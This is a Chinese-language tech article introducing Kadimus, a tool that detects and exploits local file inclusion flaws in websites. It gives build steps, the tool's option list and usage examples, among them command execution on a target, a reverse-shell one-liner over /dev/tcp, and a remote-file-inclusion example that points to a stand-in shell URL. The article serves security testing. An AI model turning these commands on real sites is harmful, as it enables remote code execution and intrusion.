Kadimus:本地文件包含(LFI)漏洞检测工具

安全 数据安全
Kadimus是一个用于检测网站本地文件包含(LFI)漏洞的安全工具。它有着怎样的特性呢,小编下面为您介绍。

Kadimus是一个用于检测网站本地文件包含(LFI)漏洞的安全工具。

[[131145]]

特性

检测所有URL参数
/var/log/auth.log RCE
/proc/self/environ RCE
php://input RCE
data://text RCE
源代码泄露检测
多线程扫描
HTTP命令执行漏洞
代理支持 (socks4://, socks4a://, socks5:// ,socks5h:// and http://)

编译

安装libcurl:

CentOS/Fedora

# yum install libcurl-devel
Debian based
# apt-get install libcurl4-openssl-dev

安装libpcre:

CentOS/Fedora

# yum install libpcre-devel

 

Debian based

# apt-get install libpcre3-dev

 

安装libssh:

CentOS/Fedora

# yum install libssh-devel

 

基于Debian

# apt-get install libssh-dev

 

***执行

$ git clone https://github.com/P0cL4bs/Kadimus.git
$ cd Kadimus
$ make

 

选项

-h, --help                    Display this help menu
  Request:
    -B, --cookie STRING         Set custom HTTP Cookie header
    -A, --user-agent STRING     User-Agent to send to server
    --connect-timeout SECONDS   Maximum time allowed for connection
    --retry-times NUMBER        number of times to retry if connection fails
    --proxy STRING              Proxy to connect, syntax: protocol://hostname:port
  Scanner:
    -u, --url STRING            Single URI to scan
    -U, --url-list FILE         File contains URIs to scan
    -o, --output FILE           File to save output results
    --threads NUMBER            Number of threads (2..1000)
  Explotation:
    -t, --target STRING         Vulnerable Target to exploit
    --injec-at STRING           Parameter name to inject exploit
                                (only need with RCE data and source disclosure)
  RCE:
    -X, --rce-technique=TECH    LFI to RCE technique to use
    -C, --code STRING           Custom PHP code to execute, with php brackets
    -c, --cmd STRING            Execute system command on vulnerable target system
    -s, --shell                 Simple command shell interface through HTTP Request
    -r, --reverse-shell         Try spawn a reverse shell connection.
    -l, --listen NUMBER         port to listen
    -b, --bind-shell            Try connect to a bind-shell
    -i, --connect-to STRING     Ip/Hostname to connect
    -p, --port NUMBER           Port number to connect
    --ssh-port NUMBER           Set the SSH Port to try inject command (Default: 22)
    --ssh-target STRING         Set the SSH Host
    RCE Available techniques
      environ                   Try run PHP Code using /proc/self/environ
      input                     Try run PHP Code using php://input
      auth                      Try run PHP Code using /var/log/auth.log
      data                      Try run PHP Code using data://text
    Source Disclosure:
      -G, --get-source          Try get the source files using filter://
      -f, --filename STRING     Set filename to grab source [REQUIRED]
      -O FILE                   Set output file (Default: stdout)

 

测试示例

扫描:

./kadimus -u localhost/?pg=contact -A my_user_agent
./kadimus -U url_list.txt --threads 10 --connect-timeout 10 --retry-times 0

 

获取文件源码:

./kadimus -t localhost/?pg=contact -G -f "index.php" -O local_output.php --inject-at pg

 

执行php代码:

./kadimus -t localhost/?pg=php://input -C '' -X input

 

命令执行:

./kadimus -t localhost/?pg=/var/log/auth.log -X auth -c 'ls -lah' --ssh-target localhost

 

检查远程文件包含(RFI)漏洞:

/* http://bad-url.com/shell.txt */ 

 

反弹shell:

./kadimus -t localhost/?pg=contact.php -Xdata --inject-at pg -r -l 12345 -c 'bash -i >& /dev/tcp/127.0.0.1/12345 0>&1' --retry-times 0

 

责任编辑:守望幸福 来源: FreeBuf.COM
相关推荐

2015-08-17 15:10:11

漏洞检测安全工具LFI scanner

2022-01-27 09:16:08

CPU内存.NET

2011-05-11 10:00:57

2015-04-27 15:49:21

2015-12-29 14:51:51

漏洞检测工具IEFuzz

2021-03-29 11:40:17

检测工具Trivy应用

2017-01-01 09:43:40

2010-06-04 10:30:15

Linux 性能检测

2010-06-04 10:09:29

Linux 性能检测

2011-01-11 13:58:32

WebLog ExpeWEB服务器流量记录

2013-01-30 16:07:46

2015-09-15 13:41:14

文件系统检测工具AIDE运维工具

2021-04-14 08:20:46

Lighthouse工具性能检测

2015-03-13 09:10:29

2021-07-01 05:17:52

Windows 11操作系统微软

2009-06-03 14:15:34

2010-06-04 09:59:37

Linux 性能检测

2014-06-06 10:01:31

2014-04-15 17:03:00

2022-03-25 14:11:11

Java死锁线程
点赞
收藏

51CTO技术栈公众号